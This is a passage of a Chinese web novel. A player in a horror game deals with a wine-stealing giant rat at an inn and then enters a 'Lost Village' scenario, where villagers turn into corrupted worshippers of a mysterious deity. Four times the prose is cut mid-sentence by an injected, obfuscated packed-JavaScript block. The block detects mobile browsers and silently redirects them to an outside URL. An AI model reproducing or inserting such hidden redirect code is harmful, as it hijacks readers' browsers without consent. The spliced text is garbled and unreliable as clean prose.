微弱的烛光照耀下，韩舟看到大堂的墙壁上映着一团巨型黑影，顺着黑影延伸处找去，只见柜台后有东西在不停晃动。 韩舟走近柜台，高举烛火，看清了柜台后的东西，这是一只巨大的…老鼠。 这老鼠足有一个人那么大，灰色的毛又粗又密，水管一样粗的尾巴长长拖在地上。它背对着韩舟，不断发出“咕噜咕噜”吮吸液体的声音。 韩舟又走近了几步，它耳朵微微动了动，缓缓转过身，一双红通通的眼睛紧盯着韩舟，在黑暗中泛着幽光。 她的心跳猛然加速，还未有什么动作，巨鼠怪叫一声，庞大的身躯向韩舟扑了过来。 韩舟往边上一闪，从系统召唤出板砖，准备给它来个迎头痛击，心道这游戏越来越过分了，就没见过在休息站还有怪物攻击玩家的。 巨鼠穿过韩舟原来的位置，“咣当”一声砸在了她身后的桌子上，把桌子给砸得四分五裂，碎块随着巨鼠肥硕的身体一起摔在地上。 … 巨鼠躺在桌子的碎块中翻滚了两下，身体开始缩小，逐渐变成一只寻常大小的老鼠，开始…瑟瑟发抖。 韩舟将烛台置于台上，走过去提溜起它的尾巴，放在眼前仔细端详，它红色眼珠里惊恐万状，脊背上有一对毛茸茸的翅膀。 “看着挺吓人的，原来胆子这么小啊。”韩舟看着它的翅膀不断抖动着，想摸一把，刚抬起手，一个黑色毛团窜了过来，落在碎掉的桌子旁发出一声刺耳尖叫。 “我的水曲柳老榆木桌！谁干的！喵呜！”是黑猫掌柜的声音。 韩舟见状立马撇干净自己嫌疑，举起手中的老鼠晃了晃，：“…它。” “臭老鼠，又是你。”黑猫掌柜弓起了背，两个尖牙都嗞出来了，“你又来偷酒喝？” 韩舟吸了吸鼻子，才嗅出空气中酒香比之前更浓郁了，她刚才神经紧绷，注意力全在那只大老鼠上，未曾察觉…原来之前听到的吮吸液体声是在喝酒啊… 黑猫掌柜话音刚落，原本安静不动的老鼠在她手里扑腾了两下，韩舟微微用力捏紧了它的尾巴，老鼠见逃不出韩舟的手掌心，便垂头丧气，不再挣扎。 韩舟把老鼠递到黑猫掌柜面前，它接过一爪子将老鼠按在地上。“还有你。”黑猫掌柜眯起了眼睛，“大半夜不睡觉，在这瞎溜达啥！” “我睡不着，随便转悠下…”韩舟不自然地将眼睛瞟向一侧。 “随便转悠？…算了，你先回去睡觉吧。”黑猫说罢便将老鼠叼起来，一阵风似的窜没影了，留下一脸莫名其妙的韩舟。 …… 第二天早上还在梦乡里的韩舟被黑猫掌柜的拍门声吵醒了。 韩舟乖乖端个椅子往上面一坐，黑猫掌柜则趴在桌上拿着算盘拨弄了两下。 “一张水曲柳老榆木桌共10000文铜钱…你需要付给我4000文…” “等等，为什么我也要付钱…”韩舟急道，“桌子又不是我弄坏的，是那只老鼠！” “我知道罪魁祸首是那只老鼠，但如果不是你半夜瞎溜达，臭老鼠最多偷点酒喝，不会碰别的东西…”黑猫掌柜慢悠悠道，碧绿的眼珠里闪着狡黠的光芒。 …这是碰瓷吗？韩舟用游戏币一共就兑了5000文铜钱，剩下的游戏币全买药了。而且这桌子价格真有这么高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365257|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？果然是黑店啊！ “你现在要是付不了，账可以先赊着，不过呢，每天都会有利息，等你有钱了再连本带利还给我。”黑猫掌柜摇了摇尾巴从桌上一跃而起，落在了地面。 韩舟深吸一口气，咬紧了牙关…不跟一只猫计较，谁还不是个猫奴了！ 送走了黑猫掌柜，韩舟唉声叹气，现实生活中她从来不爱欠债，她在心里算了算，目前吃了一顿饭加上住了一晚共花了800文，也就是说，要想马上还债，她只能提前退房了… 想到这，韩舟开始召唤系统。 “系统在吗，我能不等三天了，提前进入怪谈副本吗？” “我在，尊贵的玩家。”系统这会儿倒上线的及时，“当然可以，我这就为你安排。” 安静了几分钟，系统机械音又响起，“你即将进入的下一个怪谈是《遗失村落》，难度为c级，你确定要马上进入怪谈吗？” “确定。”韩舟想，赶紧进怪谈赶紧通关，赶紧赚钱赶紧还债。 “好的，你只要走出客栈大门就能进入怪谈。” 韩舟走下楼，发现客栈大堂柜台前不见黑猫掌柜身影，只有一只巨大的老鼠，正是昨晚偷酒喝的那只。老鼠一见到她，身体就开始哆嗦，面露惊恐。 …昨晚到底是谁吓谁啊！ 韩舟抽了抽嘴角，对它露出了一个友善的笑容。 老鼠的表情更惊恐了。 … “小老鼠，黑猫掌柜去哪了？”韩舟放弃了对它表示友善，努力控制情绪问道。 “掌柜的它，它出去了。”老鼠说话了，是一个又细又尖的女声，“我代替它看店。” “你？你要在这打工？”韩舟奇道。 老鼠点了点头，“我砸坏了掌柜的桌子…没，没钱还，掌柜的让我打工还债，我现在负责跑堂…” 这黑猫掌柜真是天生的资本家。韩舟摇了摇头无奈道：“小老鼠，你很爱喝酒？” “嗯…因为没钱买酒…只能晚上来偷着喝…”老鼠羞涩的点了点头，耳朵动了动，想起了什么，从柜子下取出一个食盒，“客官，这是你的早饭，是掌柜的让我拿给你的。” “谢啦。”韩舟接过打开食盒，里面是两个包子，一个鸡蛋，一碗粥，还有一碟咸菜。她拿起一个包子咬了一口，看向老鼠，“小老鼠，我叫韩舟，你叫什么名字？” “我叫…寓。” 寓？这名字总觉得有点熟悉…韩舟想不起在哪听过了，“小寓，劳烦你跟掌柜的说一声，我提前退房了，已经付给它的房钱饭钱就算还债了。 看到寓点了点头，韩舟把包子三下五除二吃完，便走向客栈大门。 刚出大门，门外的场景就变了，不再是深山野林，而是一片荒凉的田地。 上次来休息站也是一出赵家大门，就直接进入山林中。游戏这点挺好，场景切换迅速，省时省力。 韩舟身上的衣服变成了粗布麻衣，满头青丝被发带简单束成两股垂在肩上。 她甩了甩手臂，又踢了踢腿，感觉身体还是自己原来那副，充满了使不完的牛劲，这意味着她在怪谈里不会像上次那么柔弱了。 不错的开局，韩舟双手握拳，给自己打了个气。 5. 遗失村落（一） 田边孤零零立着一块石碑，在一片荒芜的田地之间很是显眼。 远远看着石碑上似乎刻了字，韩舟走近石碑，凝神瞧了瞧，上面写着。 《遗失村落》怪谈玩家须知： 一、你相信世上有“祂”，“祂”便存在，“祂”会借助化身降临人间。 二、不要说对“祂”不敬的话，“祂”会听到。 三、如果遇上“祂”的信徒，尽快远离。 四、成为“祂”的信徒，“祂”会满足你的愿望。 五、信徒和供品，你只能成为其中之一。 六、白天比夜晚相对安全，但不是绝对的。 七、时刻记住自己是人类 这次的规则没有新手关那么清晰了，甚至连故事背景都不知道，这个“祂”是谁？ 韩舟捏了捏下巴，没事，兵来将挡水来土掩，不行还有板砖伺候。 荒田的对面散落着多间灰瓦白墙的屋舍，屋旁几棵果树静静伫立，看起来是一座小村庄。韩舟大步走了过去，四处望了望，总觉得不对劲。 没有炊烟升起，也没有鸡犬之声，家家户户房门紧闭。 她走向其中一间屋舍，轻轻敲了敲门，等了片刻，无人应答，一片死寂。 韩舟索性推开门，映入眼帘的是一方不算大的院落，院子内有一口水井，韩舟将头伸进井里看了看，里面已干枯无水，且布满了蜘蛛网。 走进屋子，屋内空无一人，有股淡淡的腐臭味，她用手指往桌上抹了下，抬起放到眼前一看，指腹上沾满了灰尘，看起来应该是很久没打扫过了。 韩舟没在这间屋里找到什么，便出了屋，将剩下每间屋挨个敲过去，都跟第一间屋子一样没人回应。 这个村子像是废弃了很久，安静得如同坟墓。 这村里的人去哪里了？ 韩舟站在这寂静无人的村庄里，觉得有些发冷。要不出村看看吧，她正这么想着，忽听不远处传来交谈声。 “这里是什么地方？” “谁知道，真是见鬼了。” 韩舟抬头望去，迎面走来了三个中年汉子，均身着短褐，其中一位牵着个扎着双丫髻的小女孩。 原来有人？只是出村去了吗？骤然看到有人，韩舟有些意外，快步走上前去，三人见到她后，俱是面露惊喜，其中一着灰色短衫的汉子上下打量了下她，目光赤裸裸的让韩舟有些不舒服。随后他嘿嘿一笑道：“姑娘！你知道这是什么地方吗？” 我还想知道呢…韩舟摇了摇头，看来眼前几人不是这个村里的，那他们会是… “我叫王大齐，我们几个都是王家村的人，刚刚在山神庙祭拜，一出庙门就到了这个地方。”灰色短衫汉子指了指身旁个子矮一点的汉子：“这是是王二牛。”又指了指牵着小女孩的汉子：“这是王铁柱和他闺女。” “我叫王田儿。”王铁柱牵着的小女孩脆生生开口。 都是npc吗？如果是新人玩家，刚进游戏的时候会听到系统提示。韩舟有些失望，刚才有那么一瞬间期待这些人都是玩家。她冲着他们点了点头，半真半假道：“我叫韩舟，原本在客栈里，刚出门就不知怎的来到这个地方。” “韩姑娘，你见着这村里的人了吗，我们一路走来都没看到什么人。” “没有。”韩舟假装皱起眉头，“这村子里好像没有人。” “我们该不是遇上了传说中的鬼村了吧？”王大齐瞪大了双眼。 “什么鬼村？”韩舟问道。 “据说有个村子，某天晚上忽然所有人都凭空消失了，后来有人路过这村子附近听到说话声，却不见一个人影。” “大齐你越说越吓人了。”王二牛搓了搓手臂上的鸡皮疙瘩，“别吓到人姑娘。” “这可不是我编的，最近两年发生的吓人事可不少，到处都听说有闹鬼的。也就我们以前运气好，没有碰到这些事！” “我就说铁柱哥你不该带田儿来吧。”王二牛推了下王铁柱。 “嗨，这不是田儿非闹着去看山神，我才带上她，要早知道会到这个鬼地方，我怎么也不会让她来啊。”王铁柱摸了摸王田儿的头，叹了口气。 “鬼村，消失的村民…”韩舟捏了捏下巴，看来这就是故事背景提示了，她清清嗓子，“几位大哥，不如我们一起去村外看看，试试能否找到出路。” “好，就听姑娘的。” 几人动身来到村外，经过田地的时候，韩舟又看到了那块石碑。 而接下来的一幕让韩舟内心掀起惊涛骇浪。 王家村几人生生穿过了那块石碑，仿佛那块碑并不存在。 韩舟走了过去，摸了摸石碑，能感觉到坚硬的石头摩擦着掌心。 韩舟思索片刻，开口问：“你们过来的时候有看到一块石碑吗？” “碑，哪来的碑？”王大齐脸上露出困惑的表情，其他几人也是一脸莫名。 “就在田地附近。”韩舟拍了拍石碑，这么大一块，还挺明显的。 “韩姑娘，别开玩笑了，这附近什么都没有啊。”王大齐尴尬地笑了笑。 这些npc果然看不见这些规则…韩舟暗暗想，这就跟之前的游戏差不多，他们npc就是来给自己提供个游戏背景的，其中说不定还隐藏着怪物。 韩舟一手抚上额头，做头疼状：“应该是我看错了，发生了这么古怪的事，我太紧张了，头有点晕。” “那要不韩姑娘你在这休息休息，我们去看看？” “好，你们去吧。”能和他们分头行动，韩舟求之不得。 等他们的身影在视线中消失后，韩舟开始了自己的探索。 韩舟背对着村子向更远处走去，有心试试这个怪谈的边界在哪，走了一会儿功夫，前方的道路延伸至某处便断裂开，韩舟行至道路尽头，发现前方是万丈悬崖。 这座村庄竟是建在山崖上，崖下云雾缭绕，看不真切。 看来这个怪谈的范围便是这村庄和附近的一块荒田了，搞清楚这点后，韩舟转身走向村子的方向。 巧的是，韩舟刚走到村子附近，就遇上了同样返回的王家村几人。 “这周围都是悬崖，根本出不去啊！”王大齐一脸愁容。“看来我们是真到了鬼村了。”王二牛也唉声叹气，王铁柱却沉默不语，紧紧搂着王田儿。 “眼下我们只能在这个村子先住下，再慢慢找别的出路。”韩舟说着，开始打量他们几个人。他们之间有怪物吗？会是哪个？ 韩舟曾经看过一个电影，里面一群人被大雨困在了一个破旧旅馆里，一个接着一个意外身亡，最后揭秘凶手居然是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365258|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩子。 从这个角度来说…韩舟瞄了一眼王田儿，这个小女孩约莫七八岁的年纪，脸蛋圆圆，被风吹得有点发红，幽黑的大眼睛眨呀眨的。 … 很可疑啊，恐怖片里的小女孩都是很危险的！韩舟心里这么想，面上可没表现出来。 “也只能这么办了…”王二牛表示同意。 “住村子里？要是晚上闹鬼怎么办？”王大齐有点为难道。 “可外面荒山野岭的也很危险啊…”韩舟认真道，“不仅可能有鬼怪，还可能有野兽。” “行！咱们去村里。”王铁柱一锤定音，拉着闺女就往村庄走去。 他们摘了些屋旁果树上的果子充饥，选了一间还算宽敞的屋子落脚，从橱柜里翻出了一些被褥，虽看起来破旧却也还能御寒。 韩舟站在门边看着他们几个忙忙碌碌把屋内收拾了一番，将被褥铺在土炕上。 王大齐拍了拍炕上的被子道：“今晚让田儿和韩姑娘休息，咱们几个轮流守夜。” “不必了。”韩舟开口，“我不住这。” “什么意思，韩姑娘你不和我们住一起吗？”王大齐有些不解。 “对。”韩舟干脆道，“我习惯一个人住。” “你一个姑娘家，也没个防身的，和我们在一起会比较安全。万一遇到事还能互相帮衬。” 谁说没有防身的，我一板砖下去看谁不服。韩舟眨了眨眼：“我是想，我们又不会捉鬼的法术，都住在一起万一真遇上了鬼，可能会被一网打尽哦。” “这…”王姓几人面面相觑。 “所以还是分开住比较稳妥。”韩舟笑了笑，“当然也可能是我多虑了。谢谢你们的好意，你们多加小心。”说罢，她便出门而去。 “这小娘儿们真是不识好人心。”王大齐冲着韩舟离去的背影啐了一口，“是怕我们几个大老爷们把她怎么样吗？她虽然有几分姿色，我们也不是那种人啊。” “算了，她不愿意就随她去。”王二牛摆了摆手，“万一她出什么事，就别怪我们不帮她了。” 王铁柱没说什么，只是拉了王田儿的小手默默进了屋。 韩舟在屋舍间的道路上慢慢走着，心里盘算着那些规则。这次怪谈难度升级，规则也变得云里雾里。 除了“祂”，规则里提到的信徒也让韩舟在意。不过夜晚将至，规则里说夜晚会比白天危险，今晚得打起十二分的精神应对。 目前得找个地方落脚，该不该直接住在屋里呢？ 算了，规则不明的情况下，屋外和屋里一样危险，比起在外面露宿，还是屋里舒服点。 想到这，韩舟特地挑了间离王家村几个人远一点的屋子安顿了下来。 她把大门关好，没有插上门栓，这玩意儿也防不住鬼怪，就是个心理安慰，所以有没有都一样。 她没睡床，总觉得心里不踏实，在屋子里找了一处椅子坐下，把板砖从道具栏中取出抓在手中，开始闭目养神。 外面如泼漆般黑了下来，夜色笼罩着空荡荡的村庄。 韩舟渐渐酝酿出几分睡意，意识开始混沌不清，就在这时，门外传来了脚步声。 脚步声轻重不一，回荡在这个荒郊野村中，听声音来者不止一人。 只是，来的真的是人吗？ 6. 遗失村落（二） 夜色浓重，王二牛坐在门口的条凳上守夜，正张大嘴打着哈欠。 门外传来了沉重的脚步声，王二牛如被浇了一盆冰水清醒过来，摇醒了炕上睡着的王大齐和王铁柱。 “快起来，外面有人来了！” 正打着呼噜的王大齐翻了神，睁开了惺忪的睡眼：“谁啊？是那姓韩的小娘儿们吗？” “不是她！听声音来了很多人！” 听到这话，王大齐一个鲤鱼打挺起了身：“很多人？这地方白天根本没人，大半夜的不会真闹鬼了吧？” “别说话了，先躲起来！”王铁柱拉着揉着睡眼的王田儿下了炕，开始寻找躲藏的地方。 屋里有不少方角柜，王二牛打开其中一个的门钻了进去，一股浓烈的腐臭味迎面扑来，涌进了他的鼻子，王二牛只得用手捂住口鼻，努力不让自己发出呕声。 黑暗中，他耳边传来隔壁开关柜门的声音，应该是王大齐和王铁柱也躲进去了。下一刻，脚步声进了屋。 沉重的脚步声从屋子这头响到那头，又从那头响到这头，王二牛竭力放缓呼吸的频率，盼着对方快些离开。 神啊你可要保佑我们…王二牛在心里默默祈祷着。 不知不觉，柜子外的脚步声消失了，屋里恢复了寂静，王二牛想看看对方是不是走了，便从柜子门缝向外看去…下一刻，他看到了一双布满血丝的眼睛。 王二牛呼吸一下停滞了，还没等他做出反应，柜门“唰”地一下被拉开，外面的“人”的眼珠牢牢锁定着他，对他露出了一个夸张的笑容。 这个“人”的嘴巴长在鼻子上面，嘴角高高翘起，几乎翘到了眼角。 王二牛感到一阵头晕目眩。 ……… 王铁柱抱紧了王田儿躲在另一间柜子里，王田儿很乖巧，一直安静地靠着王铁柱，没发出一点声音。 外面的脚步声持续响了好一会儿，又逐渐远去，从屋里消失了。 等了好一会儿，王铁柱从门缝向外望去，屋内不见人影。他轻轻推开柜门，小心翼翼地迈出一脚落在地上，先是环顾四周，接着往屋外院子里张望了一下，没看到任何人。 他终于放下心来，把王田儿从柜子里抱出，又呼唤起了另外两人：“大齐，二牛，没事了，可以出来了。” “太好了，可把我憋死了！”王大齐从柜子里窜了出来，他虽看着莽撞，却也是个怕死谨慎的，硬是憋到现在连一个屁都没敢放。 “刚才那个是什么东西，他的嘴怎么长成那样？” “不知道。”王铁柱摇了摇头，刚才他因为害怕没怎么细看，“我们得想办法赶紧离开这。” 二人交谈了片刻，觉得有点奇怪，这王二牛呢，怎么一点动静也没有。 “二牛，别躲了，可以出来了。”王大齐发出一声嗤笑，“你不会吓得尿裤子了吧？” 没有人回应。 二人对视一眼，脸色都变了。 他们将屋内的柜子全部打开，都不见王二牛的身影。 “二牛！” 王二牛不见了。 ……… 韩舟轻声轻脚靠近门口，贴在门缝上往外看，原来空荡荡的路上出现了很多“人”，密密麻麻地占满了整个道路。 他们都穿着粗布衣衫，行走缓慢，动作僵硬如行尸，走着走着一些脱离了大部队，四散开向路边的屋子走去。 其中一个朝韩舟这个方向缓步走来，月光的照耀下，韩舟看清了他的长相，他外表和普通村民没太大差别，浓眉大眼，黝黑的皮肤，除了…长着两个嘴。 韩舟是老玩家，对这样子再熟悉不过了，这是被污染后的样子。 她握紧了手中的板砖，这板砖是a级道具，在c级副本也能杀死鬼怪，但会比d级副本里吃力一点，而且对方数量太多了，如果一拥而上攻击她的话，她没有自信能应付的了。 思忖之间，怪物已经来到了门边，他的两张嘴巴在韩舟视线中逐渐放大，韩舟往门后角落缩了缩。 门“吱啦”一声被推开，躲在门后的韩舟迅速把门关上，一个板砖拍在怪物头上。怪物被拍得摔倒在地，发出一声咆哮，挣扎着欲爬起，被韩舟一脚踩在脑袋上，韩舟轮起板砖哐哐几下砸的怪物没了声息。 干掉这个怪物后，韩舟慢慢走到门边继续瞅门缝，刚才她杀怪物发出的动静不算小，但其他怪物却好像没有注意到这里，自顾自进了别的屋，有的继续往前走。 想了想，韩舟决定跟出去看看，规则不明朗的情况下，只能主动寻找线索。何况她的精神值高于一般人，不会轻易受到污染，还有道具板砖傍身。只是，得小心点，别跟那些怪物正面发生冲突。 她轻轻推开了门，跟在了那些怪物的后面，当然，隔着很长一段距离。一旦那些怪物回头，她便躲在屋旁的果树后。 那些进了屋的怪物又从屋里出来后，有的手里多了一个小罐子，有的拿着把铲子，他们亦步亦趋地跟在了队伍后面。 韩舟在这些从屋里出来的怪物中，看到了王二牛的身影，他手里同样抱着一个罐子，眼睛混浊，瞳孔涣散。 韩舟内心警觉，她猜王二牛这副样子可能受到污染了，没想到才分开一会儿，就有一个中招…她跟着这些怪物，一路走出了村庄，来到了田地里。 夜幕低垂，清冷的月光洒在荒田之上，怪物们走到田间，开始用铲子挖土。韩舟躲在一颗树后，瞧着他们挖出一个个小土坑后，便打开了手里的罐子，将里面的东西倒了进去。 她睁大眼睛望去，那罐子里竟是一块块腐肉，发出阵阵恶臭，随着风飘散开来。 韩舟忍不住捏住了鼻子，她算是知道屋里那股臭味从哪来的了，原来是这些腐肉发出的。 怪物们将腐烂的肉倒进坑里后，又用铲子将土填上，做完这一切，他们便跪倒在了田地里。 韩舟惊讶地注视着这一幕，只见他们随后做起了五体投地式的跪拜礼，却不是朝着一个方向，而是朝着四面八方。头不断磕在田间的土壤上，发出“咚咚”的声响。 王二牛混在其中，一开始是机械式的跟着前面的怪物跪拜，到后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365259|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面越来越熟练，仿佛跟这些怪物融为了一体。 “愿祂保佑我们！”其中一个怪物高声喊道。其余的怪物跟着高喊，“原祂保佑我们！” 月光洒在他们千奇百怪的五官上，他们脸虽已不是正常人的样子，却带着种人类才会有的虔诚表情。 韩舟的目光锁定在王二牛的身上，他原本呆滞的眼神在此刻透露出一股狂热，仿佛正在膜拜着这世上最伟大的神祇，而他的额头上多出了一只眼睛。 这副诡异的景象韩舟不愿再看下去，她已经明白规则里的“信徒“是说什么了。 要尽快远离。 “二牛！二牛在那！”韩舟听到这声音抬起来，王大齐和王铁柱正朝着这里跑来，他们远远瞧见了身处怪物中的王二牛，脸上充满了焦急。 “别过去。”韩舟拽住了王大齐的衣服，这npc的死活她并不是很在乎，但像他这样冒冒失失冲过去，会打草惊蛇，那她有可能被牵连。 “放开我，我要去救二牛！”王大齐用力挣扎着，“你只担心自己的死活就算了！可别拦着我！” “他已经变成怪物了。你过去也无济于事，只会白白赔上自己的命。”韩舟冷静道。 王大齐的动作一下定住，此时他也看清了王二牛现在的怪异样子，过了一瞬，他又有些不甘地大声喊道：“不管怎样，二牛是我的好兄弟，我不能见死不救！” 糟了…韩舟来不及阻止他不管不顾的大喊大叫，田地上的怪物已经被他这叫喊声吸引了注意，纷纷停下跪拜的动作，齐刷刷向这看来。 …韩舟抿起嘴，转过身就跑。 怪物看到王大齐和王铁柱二人，脸上浮现出兴奋的表情，一个个从田地里爬起身，如潮水般向他们这个方向涌了过来，其中还有长了三只眼的王二牛，他挥舞着双臂，笑容诡异，眼神如同野兽看到了猎物。 看到这副景象，王大齐终于反应过来，“铁柱哥！我们快跑！”他一回头，只看到韩舟绝尘而去的背影，“这小娘儿们跑的倒是快！”他一边啐了口一边撒开腿狂奔，王铁柱紧随其后，二人拼命向村子跑去。 等二人一路飞奔回村，韩舟早跑没影了，只看到王田儿站在村头一间屋子的门口，正抱着肩瑟瑟发抖。 王田儿看到王铁柱他们，激动地喊了声“爹爹！”“田儿过来。”王铁柱飞快把王田儿揽进怀里，抱了起来，脚下未停，箭步如飞。 “我们先找个地方躲起来！”王大齐高喊一声，率先冲进了屋。 王铁柱也进了间屋子，像之前那样找了个柜子躲了进去，他紧紧搂着王田儿，心脏砰砰直跳，他凑近田儿的耳朵，轻声道：“田儿别怕，有爹在。”“田儿不怕。”王田儿拉紧了王铁柱的手，小声问：“爹爹，你们找到二牛叔了吗？” “田儿…”王铁柱叹了口气，“你二牛叔…他已经不在了。” “不在了？…”王田儿的声音迷惘又有点恐惧，“是指爷爷奶奶那种不在了吗？” “是的。”王铁柱微微闭上了眼。王田儿在王铁柱的怀里低声啜泣了起来。 7. 遗失村落（三） 王大齐趴在屋里的床底下，身体不停颤抖着，只觉每时每刻都是煎熬，不知道是不是老天眷顾，怪物没有找到他。 他担惊受怕了整整一夜，不敢出声不敢乱动，从床底爬出来的时候浑身酸痛，他一瘸一拐走出了房门，天边已经泛起了鱼肚白。 “二牛！”王大齐双手捂住脸仰天哀嚎了一声，“是哥没用！救不了你啊。” “大齐”王铁柱从另一边走来，拍了拍他的肩，递给他一个果子，“现在最重要的想办法出去，先吃点东西补充体力吧。”王大齐接过果子狠狠咬了一口，“那些怪物呢？” “那些怪物…都消失了。”王铁柱向远方的田地望去。 “消失了？”王大齐露出茫然的神色。 “是的，天一亮就消失了。” ……… 韩舟站在田地的中央抱手沉思，晨曦在她身上渡上一层金粉，远远看去像一座发光的神像。 “韩姑娘！” 韩舟回头一看是牵着王田儿的王铁柱。 “王大齐呢？”韩舟问道。 “大齐他说要再去找找出路。”王铁柱话音刚落，王大齐就从远处走来，他手里拿着一根长长的粗绳，“铁柱哥，我打算爬下悬崖试试。” “什么？”王铁柱倒抽一口气，急忙阻止，“下悬崖？这太危险了吧，大齐你别冲动。” “反正也没有别的出路，只能搏一博了，总比在这等死好。”王大齐拍了拍胸脯，“放心，你也知道我经常上山采药，这爬山我擅长。” “可是…”王铁柱还想再劝，被王大齐摆摆手止住了。他将绳子一端寄到腰上，又将另一端递给王铁柱：“这是我从屋里找的，看着还挺结实的，你待会可得抓紧了这绳子，千万别放手。” 这npc胆子这么大的吗，连悬崖都敢爬…韩舟在一旁看着信心满满的王大齐，心里都有点佩服。 几人来到崖边，王铁柱让王田儿站远些，双手紧握绳子扎了个马步，王大齐一手抓着绳子，一手扶着崖边的石块缓缓向下爬去。 “大齐，你千万小心，有什么不对就喊我，我马上拉你上来。”王铁柱不放心，又叮嘱道。 “知道了。”王大齐的声音从崖下传来。 崖下安静了一会儿，只听到风吹草木的摇曳声。 “铁柱哥！这下面有个凸出来的石块，好大一块。”王大齐的声音响起。 “这石块好像能推动！我推下试试…” “大齐！你小心点。”王铁柱提高了声音。 “这里有个…这什么鬼东西，我…啊！！！！！”崖下传来王了大齐的惨叫。 “大齐，大齐！”王铁柱一边颤声喊着王大齐的名字，一边用尽力气往上拉绳子，等绳子全部拉上来后，才发现绳子的另一端已经断了。 糟糕…韩舟三步并作两步跑到山崖边上，向下望去。 崖下依旧云雾缭绕，王大齐不见踪影。 “他应该是摔下去了…”韩舟反复确认没有王大齐的身影后，缓缓道。 “大齐！”王铁柱的心脏仿佛被钝器击中，痛地喘不过气来，“早知道我应该拦住他了。” 从昨天到今天这么短时间就死了两个npc，韩舟的神色凝重了起来，看了看王铁柱和王田儿，现在倒是不怀疑王家村这几人有怪物了，总觉得他们是游戏派来搞气氛的炮灰组。 “铁柱哥！”就在这时，王大齐的声音从崖下传来。 “大齐！你没死！”王铁柱激动地一下跪倒在悬崖边，伸头看去，只见王大齐身子悬空吊在峭壁上，手里拉着根山藤，正吃力地向上爬。 韩舟瞳孔微微一缩，刚刚她并没有在那个地方看到王大齐，难道是自己眼花了？ “呸呸，别乌鸦嘴，我哪有那么容易死！铁柱哥，快拉我一把。”王大齐抓山藤似乎用了很大力气，脸涨得通红。 王铁柱伸手将王大齐拉了上来，迎面给了他一个熊抱：“大齐，刚才可把我担心死了。” 王大齐哈哈一笑：“我刚才脚滑了一下，把绳子拉断了，还好我命大，抓住了山藤，这才没掉下去。” “大齐叔！”王田儿也扑过去抱住了王大齐，王大齐疼爱地拍了拍王田儿的背，把她一把搂进怀里。 韩舟仔细端详了下王大齐的脸，他的五官没有变化，除了脸好像是因为充血而发红，整个人看起来倒是挺正常。 似是察觉到韩舟的目光，王大齐一双黑白分明的眼睛看向她，舔了舔嘴唇笑了笑。 韩舟别过脸，不再看他。 “这下山的方法不能再尝试了！”王铁柱回望了一眼山崖，心有余悸道，“我们回村！再想别的办法。” “听铁柱哥的。”王大齐搂着王田儿，嘴角上扬。 韩舟微微皱了下眉。 回村庄的路，韩舟总觉得有一道恶意的目光粘在她的后背，可等她回头却什么也没发现，王大齐拉着王铁柱和王田儿有说有笑，并没有在看她。韩舟摸了摸手臂，心中涌起一股寒意。 回到村里，他们又进入了其中一间屋子开始搜寻，之前他们都只是简单在屋子里转一圈，没有深入搜索。这一次他们翻遍了屋子，在柜子后面发现了一个隐秘的地窖。 地窖里面放满了大大小小的罐子，打开罐盖，一股恶臭扑面而来，罐里正是那些怪物用来埋在土里的腐肉，上面还有苍蝇飞舞。 “这些到底是什么肉，看着不像猪肉。”王铁柱用手在鼻前扇了扇，“昨晚他们一直喊着让祂保佑我们什么的，这些肉是献给祂的？” 韩舟的确听说过有些地方祭祀山神会把牲畜埋在土地里，作为献给山神的供品，正像昨晚那些怪物做的那样，这些肉可能正是用于祭祀，只是不知道祭祀的是何方神仙。 王大齐目不转睛盯着那些腐肉，仿佛在看什么奇珍异宝。 “我们也向祂祈祷吧。”王大齐猛然出声。 “大齐你说什么？”王铁柱有些莫名。 “说不定祂能保佑我们出去呢！”王大齐的眼神逐渐变得有些狂热。 “不可以。”韩舟斩钉截铁道。 “为什么？”王大齐嘴边的笑容越来越大，眼睛直勾勾地盯着韩舟。 韩舟咬了咬嘴唇，没有说话。 规则里说：成为“祂”的信徒，“祂”会满足你的愿望。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365260|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话也可以理解成：你向祂许愿，就会成祂的信徒。成为信徒的时候就被污染了。 